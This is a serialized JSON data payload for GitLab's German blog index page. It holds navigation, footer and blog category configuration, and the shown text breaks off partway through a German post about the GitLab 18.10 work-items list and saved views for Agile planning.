[{"data":1,"prerenderedAt":1259},["ShallowReactive",2],{"/de-de/blog":3,"navigation-de-de":20,"banner-de-de":423,"footer-de-de":433,"blogCategories-de-de":638,"relatedBlogPosts-de-de":780,"mainFeaturedPost-de-de":1217,"recentFeaturedPosts-de-de":1222,"recentPosts-de-de":1238},{"id":4,"title":5,"body":6,"category":6,"config":7,"content":9,"description":6,"extension":11,"meta":12,"navigation":13,"path":14,"seo":15,"slug":6,"stem":18,"testContent":6,"type":6,"__hash__":19},"pages/de-de/blog/index.yml","",null,{"template":8},"BlogHome",{"title":10},"GitLab Blog","yml",{},true,"/de-de/blog",{"title":16,"description":17},"Deutscher GitLab Blog","Die besten Tutorials, Produktinfos und Expertenbeiträge von GitLab – für DevSecOps-Teams, die sichere Software schneller entwickeln und deployen wollen.","de-de/blog/index","1yAIKpINx5K5qzP-ePsacr72SeBUjhZPHi06R2AaDBM",{"data":21},{"logo":22,"freeTrial":27,"sales":32,"login":37,"items":42,"search":351,"minimal":386,"duo":404,"pricingDeployment":413},{"config":23},{"href":24,"dataGaName":25,"dataGaLocation":26},"/de-de/","gitlab logo","header",{"text":28,"config":29},"Kostenlose Testversion anfordern",{"href":30,"dataGaName":31,"dataGaLocation":26},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de&glm_content=default-saas-trial/","free trial",{"text":33,"config":34},"Vertrieb kontaktieren",{"href":35,"dataGaName":36,"dataGaLocation":26},"/de-de/sales/","sales",{"text":38,"config":39},"Anmelden",{"href":40,"dataGaName":41,"dataGaLocation":26},"https://gitlab.com/users/sign_in/","sign in",[43,70,166,171,272,332],{"text":44,"config":45,"cards":47},"Plattform",{"dataNavLevelOne":46},"platform",[48,54,62],{"title":44,"description":49,"link":50},"Die intelligente Orchestrierungsplattform für DevSecOps",{"text":51,"config":52},"Erkunde unsere Plattform",{"href":53,"dataGaName":46,"dataGaLocation":26},"/de-de/platform/",{"title":55,"description":56,"link":57},"GitLab Duo Agent Platform","Agentische KI für den gesamten Softwareentwicklungszyklus",{"text":58,"config":59},"Lerne GitLab Duo kennen",{"href":60,"dataGaName":61,"dataGaLocation":26},"/de-de/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":63,"description":64,"link":65},"Gründe, die für GitLab sprechen","Erfahre, warum Unternehmen auf GitLab setzen",{"text":66,"config":67},"Mehr erfahren",{"href":68,"dataGaName":69,"dataGaLocation":26},"/de-de/why-gitlab/","why gitlab",{"text":71,"left":13,"config":72,"link":74,"lists":78,"footer":148},"Produkt",{"dataNavLevelOne":73},"solutions",{"text":75,"config":76},"Alle Lösungen anzeigen",{"href":77,"dataGaName":73,"dataGaLocation":26},"/de-de/solutions/",[79,104,126],{"title":80,"description":81,"link":82,"items":87},"Automatisierung","CI/CD und Automatisierung zur Beschleunigung der Bereitstellung",{"config":83},{"icon":84,"href":85,"dataGaName":86,"dataGaLocation":26},"AutomatedCodeAlt","/de-de/solutions/delivery-automation/","automated software delivery",[88,92,95,100],{"text":89,"config":90},"CI/CD",{"href":91,"dataGaLocation":26,"dataGaName":89},"/de-de/solutions/continuous-integration/",{"text":55,"config":93},{"href":60,"dataGaLocation":26,"dataGaName":94},"gitlab duo agent platform - product menu",{"text":96,"config":97},"Quellcodeverwaltung",{"href":98,"dataGaLocation":26,"dataGaName":99},"/de-de/solutions/source-code-management/","Source Code Management",{"text":101,"config":102},"Automatisierte Softwarebereitstellung",{"href":85,"dataGaLocation":26,"dataGaName":103},"Automated software delivery",{"title":105,"description":106,"link":107,"items":112},"Sicherheit","Entwickle schneller, ohne die Sicherheit zu gefährden",{"config":108},{"href":109,"dataGaName":110,"dataGaLocation":26,"icon":111},"/de-de/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[113,117,122],{"text":114,"config":115},"Application Security Testing",{"href":109,"dataGaName":116,"dataGaLocation":26},"Application security testing",{"text":118,"config":119},"Schutz der Software-Lieferkette",{"href":120,"dataGaLocation":26,"dataGaName":121},"/de-de/solutions/supply-chain/","Software supply chain security",{"text":123,"config":124},"Software Compliance",{"href":125,"dataGaName":123,"dataGaLocation":26},"/de-de/solutions/software-compliance/",{"title":127,"link":128,"items":133},"Bewertung",{"config":129},{"icon":130,"href":131,"dataGaName":132,"dataGaLocation":26},"DigitalTransformation","/de-de/solutions/visibility-measurement/","visibility and measurement",[134,138,143],{"text":135,"config":136},"Sichtbarkeit und Bewertung",{"href":131,"dataGaLocation":26,"dataGaName":137},"Visibility and Measurement",{"text":139,"config":140},"Wertstrommanagement",{"href":141,"dataGaLocation":26,"dataGaName":142},"/de-de/solutions/value-stream-management/","Value Stream Management",{"text":144,"config":145},"Analysen und Einblicke",{"href":146,"dataGaLocation":26,"dataGaName":147},"/de-de/solutions/analytics-and-insights/","Analytics and insights",{"title":149,"items":150},"GitLab für",[151,156,161],{"text":152,"config":153},"Enterprise",{"href":154,"dataGaLocation":26,"dataGaName":155},"/de-de/enterprise/","enterprise",{"text":157,"config":158},"Kleinunternehmen",{"href":159,"dataGaLocation":26,"dataGaName":160},"/de-de/small-business/","small business",{"text":162,"config":163},"den öffentlichen Sektor",{"href":164,"dataGaLocation":26,"dataGaName":165},"/de-de/solutions/public-sector/","public sector",{"text":167,"config":168},"Preise",{"href":169,"dataGaName":170,"dataGaLocation":26,"dataNavLevelOne":170},"/de-de/pricing/","pricing",{"text":172,"config":173,"link":175,"lists":179,"feature":259},"Ressourcen",{"dataNavLevelOne":174},"resources",{"text":176,"config":177},"Alle Ressourcen anzeigen",{"href":178,"dataGaName":174,"dataGaLocation":26},"/de-de/resources/",[180,213,231],{"title":181,"items":182},"Erste Schritte",[183,188,193,198,203,208],{"text":184,"config":185},"Installieren",{"href":186,"dataGaName":187,"dataGaLocation":26},"/de-de/install/","install",{"text":189,"config":190},"Kurzanleitungen",{"href":191,"dataGaName":192,"dataGaLocation":26},"/de-de/get-started/","quick setup checklists",{"text":194,"config":195},"Lernen",{"href":196,"dataGaLocation":26,"dataGaName":197},"https://university.gitlab.com/","learn",{"text":199,"config":200},"Produktdokumentation",{"href":201,"dataGaName":202,"dataGaLocation":26},"https://docs.gitlab.com/","product documentation",{"text":204,"config":205},"Best-Practice-Videos",{"href":206,"dataGaName":207,"dataGaLocation":26},"/de-de/getting-started-videos/","best practice videos",{"text":209,"config":210},"Integrationen",{"href":211,"dataGaName":212,"dataGaLocation":26},"/de-de/integrations/","integrations",{"title":214,"items":215},"Entdecken",[216,221,226],{"text":217,"config":218},"Kundenerfolge",{"href":219,"dataGaName":220,"dataGaLocation":26},"/de-de/customers/","customer success stories",{"text":222,"config":223},"Blog",{"href":224,"dataGaName":225,"dataGaLocation":26},"/de-de/blog/","blog",{"text":227,"config":228},"Remote",{"href":229,"dataGaName":230,"dataGaLocation":26},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":232,"items":233},"Vernetzen",[234,239,244,249,254],{"text":235,"config":236},"GitLab-Services",{"href":237,"dataGaName":238,"dataGaLocation":26},"/de-de/services/","services",{"text":240,"config":241},"Community",{"href":242,"dataGaName":243,"dataGaLocation":26},"/community/","community",{"text":245,"config":246},"Forum",{"href":247,"dataGaName":248,"dataGaLocation":26},"https://forum.gitlab.com/","forum",{"text":250,"config":251},"Veranstaltungen",{"href":252,"dataGaName":253,"dataGaLocation":26},"/events/","events",{"text":255,"config":256},"Partner",{"href":257,"dataGaName":258,"dataGaLocation":26},"/de-de/partners/","partners",{"backgroundColor":260,"textColor":261,"text":262,"image":263,"link":267},"#2f2a6b","#fff","Perspektiven für die Softwareentwicklung der Zukunft",{"altText":264,"config":265},"the source promo card",{"src":266},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":268,"config":269},"Lies die News",{"href":270,"dataGaName":271,"dataGaLocation":26},"/de-de/the-source/","the source",{"text":273,"config":274,"lists":276},"Unternehmen",{"dataNavLevelOne":275},"company",[277],{"items":278},[279,284,290,292,297,302,307,312,317,322,327],{"text":280,"config":281},"Über",{"href":282,"dataGaName":283,"dataGaLocation":26},"/de-de/company/","about",{"text":285,"config":286,"footerGa":289},"Karriere",{"href":287,"dataGaName":288,"dataGaLocation":26},"/jobs/","jobs",{"dataGaName":288},{"text":250,"config":291},{"href":252,"dataGaName":253,"dataGaLocation":26},{"text":293,"config":294},"Geschäftsführung",{"href":295,"dataGaName":296,"dataGaLocation":26},"/company/team/e-group/","leadership",{"text":298,"config":299},"Team",{"href":300,"dataGaName":301,"dataGaLocation":26},"/company/team/","team",{"text":303,"config":304},"Handbuch",{"href":305,"dataGaName":306,"dataGaLocation":26},"https://handbook.gitlab.com/","handbook",{"text":308,"config":309},"Investor Relations",{"href":310,"dataGaName":311,"dataGaLocation":26},"https://ir.gitlab.com/","investor relations",{"text":313,"config":314},"Trust Center",{"href":315,"dataGaName":316,"dataGaLocation":26},"/de-de/security/","trust center",{"text":318,"config":319},"AI Transparency Center",{"href":320,"dataGaName":321,"dataGaLocation":26},"/de-de/ai-transparency-center/","ai transparency center",{"text":323,"config":324},"Newsletter",{"href":325,"dataGaName":326,"dataGaLocation":26},"/company/contact/#contact-forms","newsletter",{"text":328,"config":329},"Presse",{"href":330,"dataGaName":331,"dataGaLocation":26},"/press/","press",{"text":333,"config":334,"lists":335},"Kontakt",{"dataNavLevelOne":275},[336],{"items":337},[338,341,346],{"text":33,"config":339},{"href":35,"dataGaName":340,"dataGaLocation":26},"talk to sales",{"text":342,"config":343},"Support-Portal",{"href":344,"dataGaName":345,"dataGaLocation":26},"https://support.gitlab.com","support portal",{"text":347,"config":348},"Kundenportal",{"href":349,"dataGaName":350,"dataGaLocation":26},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":352,"login":353,"suggestions":360},"Schließen",{"text":354,"link":355},"Um Repositories und Projekte zu durchsuchen, melde dich an bei",{"text":356,"config":357},"gitlab.com",{"href":40,"dataGaName":358,"dataGaLocation":359},"search login","search",{"text":361,"default":362},"Vorschläge",[363,365,370,372,377,382],{"text":55,"config":364},{"href":60,"dataGaName":55,"dataGaLocation":359},{"text":366,"config":367},"Code Suggestions (KI)",{"href":368,"dataGaName":369,"dataGaLocation":359},"/de-de/solutions/code-suggestions/","Code Suggestions (AI)",{"text":89,"config":371},{"href":91,"dataGaName":89,"dataGaLocation":359},{"text":373,"config":374},"GitLab auf AWS",{"href":375,"dataGaName":376,"dataGaLocation":359},"/de-de/partners/technology-partners/aws/","GitLab on AWS",{"text":378,"config":379},"GitLab auf Google Cloud",{"href":380,"dataGaName":381,"dataGaLocation":359},"/de-de/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":383,"config":384},"Warum GitLab?",{"href":68,"dataGaName":385,"dataGaLocation":359},"Why GitLab?",{"freeTrial":387,"mobileIcon":392,"desktopIcon":397,"secondaryButton":400},{"text":388,"config":389},"Kostenlos testen",{"href":390,"dataGaName":31,"dataGaLocation":391},"https://gitlab.com/-/trials/new/","nav",{"altText":393,"config":394},"GitLab-Symbol",{"src":395,"dataGaName":396,"dataGaLocation":391},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":393,"config":398},{"src":399,"dataGaName":396,"dataGaLocation":391},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":181,"config":401},{"href":402,"dataGaName":403,"dataGaLocation":391},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de/get-started/","get started",{"freeTrial":405,"mobileIcon":409,"desktopIcon":411},{"text":406,"config":407},"Erfahre mehr über GitLab Duo",{"href":60,"dataGaName":408,"dataGaLocation":391},"gitlab duo",{"altText":393,"config":410},{"src":395,"dataGaName":396,"dataGaLocation":391},{"altText":393,"config":412},{"src":399,"dataGaName":396,"dataGaLocation":391},{"freeTrial":414,"mobileIcon":419,"desktopIcon":421},{"text":415,"config":416},"Zurück zur Preisübersicht",{"href":169,"dataGaName":417,"dataGaLocation":391,"icon":418},"back to pricing","GoBack",{"altText":393,"config":420},{"src":395,"dataGaName":396,"dataGaLocation":391},{"altText":393,"config":422},{"src":399,"dataGaName":396,"dataGaLocation":391},{"title":424,"button":425,"config":430},"Sieh dir an, wie agentische KI die Softwarebereitstellung transformiert",{"text":426,"config":427},"GitLab Transcend jetzt ansehen",{"href":428,"dataGaName":429,"dataGaLocation":26},"/de-de/events/transcend/virtual/","transcend event",{"layout":431,"icon":432,"disabled":13},"release","AiStar",{"data":434},{"text":435,"source":436,"edit":442,"contribute":447,"config":452,"items":457,"minimal":630},"Git ist eine Marke von Software Freedom Conservancy und unsere Verwendung von „GitLab“ erfolgt unter Lizenz.",{"text":437,"config":438},"Quelltext der Seite anzeigen",{"href":439,"dataGaName":440,"dataGaLocation":441},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":443,"config":444},"Diese Seite bearbeiten",{"href":445,"dataGaName":446,"dataGaLocation":441},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":448,"config":449},"Beteilige dich",{"href":450,"dataGaName":451,"dataGaLocation":441},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":453,"facebook":454,"youtube":455,"linkedin":456},"https://x.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[458,481,536,563,597],{"title":44,"links":459,"subMenu":464},[460],{"text":461,"config":462},"DevSecOps-Plattform",{"href":53,"dataGaName":463,"dataGaLocation":441},"devsecops platform",[465],{"title":167,"links":466},[467,471,476],{"text":468,"config":469},"Tarife anzeigen",{"href":169,"dataGaName":470,"dataGaLocation":441},"view plans",{"text":472,"config":473},"Vorteile von Premium",{"href":474,"dataGaName":475,"dataGaLocation":441},"/de-de/pricing/premium/","why premium",{"text":477,"config":478},"Vorteile von Ultimate",{"href":479,"dataGaName":480,"dataGaLocation":441},"/de-de/pricing/ultimate/","why ultimate",{"title":482,"links":483},"Lösungen",[484,489,492,494,499,504,508,511,514,519,521,523,526,531],{"text":485,"config":486},"Digitale Transformation",{"href":487,"dataGaName":488,"dataGaLocation":441},"/de-de/topics/digital-transformation/","digital transformation",{"text":490,"config":491},"Sicherheit und Compliance",{"href":109,"dataGaName":116,"dataGaLocation":441},{"text":101,"config":493},{"href":85,"dataGaName":86,"dataGaLocation":441},{"text":495,"config":496},"Agile Entwicklung",{"href":497,"dataGaName":498,"dataGaLocation":441},"/de-de/solutions/agile-delivery/","agile delivery",{"text":500,"config":501},"Cloud-Transformation",{"href":502,"dataGaName":503,"dataGaLocation":441},"/de-de/topics/cloud-native/","cloud transformation",{"text":505,"config":506},"SCM",{"href":98,"dataGaName":507,"dataGaLocation":441},"source code management",{"text":89,"config":509},{"href":91,"dataGaName":510,"dataGaLocation":441},"continuous integration & delivery",{"text":139,"config":512},{"href":141,"dataGaName":513,"dataGaLocation":441},"value stream management",{"text":515,"config":516},"GitOps",{"href":517,"dataGaName":518,"dataGaLocation":441},"/de-de/solutions/gitops/","gitops",{"text":152,"config":520},{"href":154,"dataGaName":155,"dataGaLocation":441},{"text":157,"config":522},{"href":159,"dataGaName":160,"dataGaLocation":441},{"text":524,"config":525},"Öffentlicher Sektor",{"href":164,"dataGaName":165,"dataGaLocation":441},{"text":527,"config":528},"Bildungswesen",{"href":529,"dataGaName":530,"dataGaLocation":441},"/de-de/solutions/education/","education",{"text":532,"config":533},"Finanzdienstleistungen",{"href":534,"dataGaName":535,"dataGaLocation":441},"/de-de/solutions/finance/","financial services",{"title":172,"links":537},[538,540,542,544,547,549,551,553,555,557,559,561],{"text":184,"config":539},{"href":186,"dataGaName":187,"dataGaLocation":441},{"text":189,"config":541},{"href":191,"dataGaName":192,"dataGaLocation":441},{"text":194,"config":543},{"href":196,"dataGaName":197,"dataGaLocation":441},{"text":199,"config":545},{"href":201,"dataGaName":546,"dataGaLocation":441},"docs",{"text":222,"config":548},{"href":224,"dataGaName":225,"dataGaLocation":441},{"text":217,"config":550},{"href":219,"dataGaName":220,"dataGaLocation":441},{"text":227,"config":552},{"href":229,"dataGaName":230,"dataGaLocation":441},{"text":235,"config":554},{"href":237,"dataGaName":238,"dataGaLocation":441},{"text":240,"config":556},{"href":242,"dataGaName":243,"dataGaLocation":441},{"text":245,"config":558},{"href":247,"dataGaName":248,"dataGaLocation":441},{"text":250,"config":560},{"href":252,"dataGaName":253,"dataGaLocation":441},{"text":255,"config":562},{"href":257,"dataGaName":258,"dataGaLocation":441},{"title":273,"links":564},[565,567,569,571,573,575,577,581,586,588,590,592],{"text":280,"config":566},{"href":282,"dataGaName":275,"dataGaLocation":441},{"text":285,"config":568},{"href":287,"dataGaName":288,"dataGaLocation":441},{"text":293,"config":570},{"href":295,"dataGaName":296,"dataGaLocation":441},{"text":298,"config":572},{"href":300,"dataGaName":301,"dataGaLocation":441},{"text":303,"config":574},{"href":305,"dataGaName":306,"dataGaLocation":441},{"text":308,"config":576},{"href":310,"dataGaName":311,"dataGaLocation":441},{"text":578,"config":579},"Sustainability",{"href":580,"dataGaName":578,"dataGaLocation":441},"/sustainability/",{"text":582,"config":583},"Vielfalt, Inklusion und Zugehörigkeit",{"href":584,"dataGaName":585,"dataGaLocation":441},"/de-de/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":313,"config":587},{"href":315,"dataGaName":316,"dataGaLocation":441},{"text":323,"config":589},{"href":325,"dataGaName":326,"dataGaLocation":441},{"text":328,"config":591},{"href":330,"dataGaName":331,"dataGaLocation":441},{"text":593,"config":594},"Transparenzerklärung zu moderner Sklaverei",{"href":595,"dataGaName":596,"dataGaLocation":441},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":598,"links":599},"Nimm Kontakt auf",[600,603,608,610,615,620,625],{"text":601,"config":602},"Sprich mit einem Experten/einer Expertin",{"href":35,"dataGaName":36,"dataGaLocation":441},{"text":604,"config":605},"Support",{"href":606,"dataGaName":607,"dataGaLocation":441},"https://support.gitlab.com/hc/en-us/articles/11626483177756-GitLab-Support","get help",{"text":347,"config":609},{"href":349,"dataGaName":350,"dataGaLocation":441},{"text":611,"config":612},"Status",{"href":613,"dataGaName":614,"dataGaLocation":441},"https://status.gitlab.com/","status",{"text":616,"config":617},"Nutzungsbedingungen",{"href":618,"dataGaName":619,"dataGaLocation":441},"/terms/","terms of use",{"text":621,"config":622},"Datenschutzerklärung",{"href":623,"dataGaName":624,"dataGaLocation":441},"/de-de/privacy/","privacy statement",{"text":626,"config":627},"Cookie-Einstellungen",{"dataGaName":628,"dataGaLocation":441,"id":629,"isOneTrustButton":13},"cookie preferences","ot-sdk-btn",{"items":631},[632,634,636],{"text":616,"config":633},{"href":618,"dataGaName":619,"dataGaLocation":441},{"text":621,"config":635},{"href":623,"dataGaName":624,"dataGaLocation":441},{"text":626,"config":637},{"dataGaName":628,"dataGaLocation":441,"id":629,"isOneTrustButton":13},[639,653,666,679,692,705,717,730,742,754,766],{"id":640,"title":641,"body":6,"category":6,"config":642,"content":646,"description":6,"extension":11,"meta":647,"navigation":13,"path":648,"seo":649,"slug":6,"stem":651,"testContent":6,"type":6,"__hash__":652},"blogCategories/de-de/blog/categories/agile-planning.yml","Agile Planning",{"template":643,"slug":644,"hide":645},"BlogCategory","agile-planning",false,{"name":641},{},"/de-de/blog/categories/agile-planning",{"title":641,"description":650},"Browse articles related to Agile Planning on the GitLab Blog","de-de/blog/categories/agile-planning","csUL1d_-y-DPhZetCYXu18e5sQMfbzSl4z0yB282dB4",{"id":654,"title":655,"body":6,"category":6,"config":656,"content":658,"description":6,"extension":11,"meta":660,"navigation":13,"path":661,"seo":662,"slug":6,"stem":664,"testContent":6,"type":6,"__hash__":665},"blogCategories/de-de/blog/categories/ai-ml.yml","Ai Ml",{"template":643,"slug":657,"hide":645},"ai-ml",{"name":659},"KI/ML",{},"/de-de/blog/categories/ai-ml",{"title":659,"description":663},"Browse articles related to KI/ML on the GitLab Blog","de-de/blog/categories/ai-ml","1ZXMYZ95h3sv7hO1jba_Y-UZre4Tax4JM6QlNpoAdE4",{"id":667,"title":668,"body":6,"category":6,"config":669,"content":671,"description":6,"extension":11,"meta":673,"navigation":13,"path":674,"seo":675,"slug":6,"stem":677,"testContent":6,"type":6,"__hash__":678},"blogCategories/de-de/blog/categories/bulletin-board.yml","Bulletin Board",{"template":643,"slug":670,"hide":645},"bulletin-board",{"name":672},"Ankündigungen",{},"/de-de/blog/categories/bulletin-board",{"title":672,"description":676},"Browse articles related to Ankündigungen on the GitLab Blog","de-de/blog/categories/bulletin-board","mkB_SWqSkG9Rs-zMdOGuzpIJZOX0BQ5yNO6o9RfPe2E",{"id":680,"title":681,"body":6,"category":6,"config":682,"content":684,"description":6,"extension":11,"meta":686,"navigation":13,"path":687,"seo":688,"slug":6,"stem":690,"testContent":6,"type":6,"__hash__":691},"blogCategories/de-de/blog/categories/customer-stories.yml","Customer Stories",{"template":643,"slug":683,"hide":645},"customer-stories",{"name":685},"Kundenstories",{},"/de-de/blog/categories/customer-stories",{"title":685,"description":689},"Browse articles related to Kundenstories on the GitLab Blog","de-de/blog/categories/customer-stories","kB5miv8QohUy6kvq6rdK7V4z9za-Uk_aGodu7cUhAho",{"id":693,"title":694,"body":6,"category":6,"config":695,"content":697,"description":6,"extension":11,"meta":699,"navigation":13,"path":700,"seo":701,"slug":6,"stem":703,"testContent":6,"type":6,"__hash__":704},"blogCategories/de-de/blog/categories/devsecops.yml","Devsecops",{"template":643,"slug":696,"hide":645},"devsecops",{"name":698},"DevSecOps",{},"/de-de/blog/categories/devsecops",{"title":698,"description":702},"Browse articles related to DevSecOps on the GitLab Blog","de-de/blog/categories/devsecops","-VYAbxDp8VgKNnix343UzZtmmsJMwVyVWyhmpemBm0U",{"id":706,"title":707,"body":6,"category":6,"config":708,"content":710,"description":6,"extension":11,"meta":711,"navigation":13,"path":712,"seo":713,"slug":6,"stem":715,"testContent":6,"type":6,"__hash__":716},"blogCategories/de-de/blog/categories/engineering.yml","Engineering",{"template":643,"slug":709,"hide":645},"engineering",{"name":707},{},"/de-de/blog/categories/engineering",{"title":707,"description":714},"Browse articles related to Engineering on the GitLab Blog","de-de/blog/categories/engineering","2aDT2ddISb3_jPr0pKFELw8NlkxcUsQZ7Dd93XB3ya8",{"id":718,"title":719,"body":6,"category":6,"config":720,"content":722,"description":6,"extension":11,"meta":724,"navigation":13,"path":725,"seo":726,"slug":6,"stem":728,"testContent":6,"type":6,"__hash__":729},"blogCategories/de-de/blog/categories/news.yml","News",{"template":643,"slug":721,"hide":645},"news",{"name":723},"Neuheiten",{},"/de-de/blog/categories/news",{"title":723,"description":727},"Browse articles related to Neuheiten on the GitLab Blog","de-de/blog/categories/news","R-b1rDs8_JZxM4UVAjnPCwxnTfNaE65Fy_VSqLRW9Zw",{"id":731,"title":732,"body":6,"category":6,"config":733,"content":735,"description":6,"extension":11,"meta":736,"navigation":13,"path":737,"seo":738,"slug":6,"stem":740,"testContent":6,"type":6,"__hash__":741},"blogCategories/de-de/blog/categories/open-source.yml","Open Source",{"template":643,"slug":734,"hide":645},"open-source",{"name":732},{},"/de-de/blog/categories/open-source",{"title":732,"description":739},"Browse articles related to Open Source on the GitLab Blog","de-de/blog/categories/open-source","3lZAO-pA8tPgqw5jdEaCqdzTxqgrM40KjbyHzl6xewQ",{"id":743,"title":744,"body":6,"category":6,"config":745,"content":747,"description":6,"extension":11,"meta":748,"navigation":13,"path":749,"seo":750,"slug":6,"stem":752,"testContent":6,"type":6,"__hash__":753},"blogCategories/de-de/blog/categories/product.yml","Product",{"template":643,"slug":746,"hide":645},"product",{"name":71},{},"/de-de/blog/categories/product",{"title":71,"description":751},"Browse articles related to Produkt on the GitLab Blog","de-de/blog/categories/product","dXdTP3ocECtLG4lIfjjXnSDxd7iiH3ZZhZBwGeVKvzk",{"id":755,"title":756,"body":6,"category":6,"config":757,"content":759,"description":6,"extension":11,"meta":760,"navigation":13,"path":761,"seo":762,"slug":6,"stem":764,"testContent":6,"type":6,"__hash__":765},"blogCategories/de-de/blog/categories/security.yml","Security",{"template":643,"slug":758,"hide":645},"security",{"name":105},{},"/de-de/blog/categories/security",{"title":105,"description":763},"Browse articles related to Sicherheit on the GitLab Blog","de-de/blog/categories/security","RafNa29JNZ4JNGO3MJvpMciY4CG3ivNwFzY265Udobw",{"id":767,"title":768,"body":6,"category":6,"config":769,"content":771,"description":6,"extension":11,"meta":774,"navigation":13,"path":775,"seo":776,"slug":6,"stem":778,"testContent":6,"type":6,"__hash__":779},"blogCategories/de-de/blog/categories/security-labs.yml","Security Labs",{"template":643,"isCustomCategory":13,"slug":770,"hide":645},"security-labs",{"name":772,"description":773},"Sicherheitsforschung","Learn about cybersecurity trends, best practices, and third-party threats to secure your code and digital infrastructure.",{},"/de-de/blog/categories/security-labs",{"title":772,"description":777},"Browse articles related to Sicherheitsforschung on the GitLab Blog","de-de/blog/categories/security-labs","_Z-pzQf-BYQ3WnVMNEyfIYkbFVfv_vbAtlssi5tqAgE",[781,828,870,909,948,986,1025,1066,1107,1144,1178],{"category":641,"slug":644,"posts":782},[783,798,812],{"content":784,"config":795},{"body":785,"category":644,"tags":786,"date":789,"title":790,"description":791,"authors":792,"heroImage":794},"Mit GitLab 18.10 kommen zwei seit Langem angefragte Funktionen für die Agile-Planung: die Work-Items-Liste und gespeicherte Ansichten. Die Work-Items-Liste zeigt alle Work-Item-Typen in einer gemeinsamen Übersicht. Gespeicherte Ansichten ermöglichen es, benutzerdefinierte Listenkonfigurationen zu speichern und später wieder aufzurufen.\n\nDie Funktionen bieten Teams konkrete Vorteile:\n\n* Kein wiederholtes Einrichten von Filtern für häufige Arbeitsabläufe\n* Konsistente Ansichten für die gemeinsame Bewertung von Arbeit im Team\n* Einheitliche Grundlage für Berichte und Statusübersichten\n\n## Was sind Work Items?\n\nBisher befinden sich Epics und Issues auf getrennten Listenseiten, was das Navigieren zwischen ihnen erfordert. Die Work-Items-Liste fasst Epics, Issues und andere Work Items in einer einheitlichen Listenansicht zusammen und macht das Wechseln zwischen getrennten Seiten überflüssig.\n\nDies ist zugleich die Grundlage für tiefergehende Planungsfunktionen. Die Zusammenführung aller Work-Item-Typen schafft die Voraussetzung für Hierarchieansichten – zum Beispiel eine Tabellenansicht –, die Beziehungen und Strukturen über Epics, Issues und andere Elemente hinweg auf einen Blick sichtbar machen.\n\nÜber Listen- und Hierarchieansichten hinaus ist geplant, weitere häufige Arbeitsabläufe – etwa Boards – in diese einheitliche Erfahrung zu integrieren. Das Ziel: alle wesentlichen Planungsansichten an einem Ort, über gespeicherte Ansichten mit dem Team teilbar, ohne durch verschiedene Produktbereiche navigieren zu müssen.\n\nVielleicht fragst du dich, warum wir von „Work Items\" sprechen und nicht von Issues. Die kurze Antwort: „Issue\" skaliert nicht dorthin, wo wir hinwollen. Bald lassen sich Work-Item-Typen vollständig konfigurieren – einschließlich ihrer Bezeichnungen –, um die Planungshierarchie der eigenen Organisation abzubilden. An der bestehenden Terminologie festzuhalten würde diese Flexibilität entgegenwirken. „Work Items\" ist die Grundlage für ein Modell, das sich individuell anpassen lässt.\n\n![Work items list view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774028606/ae9ugijwjsyv3ktiks0n.png)\n\n## Was hat zur Änderung geführt?\n\n2024 haben wir unsere Vision für eine neue Agile-Planungserfahrung in GitLab vorgestellt, die auf dem Work-Items-Framework basiert. Darin beschrieben wir das zentrale Problem: Epics und Issues existierten als getrennte Erfahrungen und erzeugten Reibung für Teams, die konsistente Funktionalität über Planungsobjekte hinweg erwarteten. Das Work-Items-Framework war unsere Antwort darauf – eine einheitliche Architektur für Konsistenz und neue Möglichkeiten in GitLabs Planungswerkzeugen. Work-Items-Liste und gespeicherte Ansichten sind ein Schritt auf diesem Weg.\n\n## Was sind gespeicherte Ansichten?\n\nGespeicherte Ansichten ermöglichen es, benutzerdefinierte Listenkonfigurationen – einschließlich Filter, Sortierung und Anzeigeoptionen – zu speichern und später aufzurufen. Damit lassen sich wiederkehrende Prüfungen strukturierter durchführen und einheitliche Arbeitsweisen im Team etablieren.\n\n![Saved view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774028606/izmg27ckskpkdofgvonr.png)\n\n## Wie geht es weiter?\n\nUm zu verstehen, warum wir diese Änderungen vornehmen, lohnt sich ein Blick auf das Ziel.\n\nDas Ziel ist nicht nur eine Work-Items-Liste, sondern eine Planungserfahrung, die es erlaubt, zwischen verschiedenen Ansichtstypen – Liste, Board, Tabelle und mehr – zu wechseln und dabei den aktuellen Filterbereich beizubehalten.\n\nIn Kombination mit gespeicherten Ansichten lässt sich für jeden Arbeitsablauf eine eigene Ansicht anlegen: Iterationsplanung, Backlog-Pflege, Portfolio-Planung mit verschachtelten Tabellenansichten und mehr.\n\nJede Ansicht ist sofort einsatzbereit, filtert und zeigt Arbeit konsistent an und lässt sich mit dem Team teilen. Das Framework ermöglicht künftig weitere Funktionen, darunter vollständige Swimlane-Unterstützung für beliebige Work-Item-Attribute in Boards.\n\nWir wissen, dass Änderungen an täglich genutzten Werkzeugen störend sein können. Wer Arbeitsabläufe rund um die bestehenden Epic- und Issue-Listenseiten aufgebaut hat, wird Unterschiede bemerken. Das nehmen wir nicht auf die leichte Schulter.\n\nDiese Richtung war keine schnelle Entscheidung. Sie spiegelt jahrelanges Feedback, eine erhebliche Investition in die Architektur des Work-Items-Frameworks und die Überzeugung wider, dass eine einheitliche Erfahrung Teams langfristig besser dient. Wir rechnen 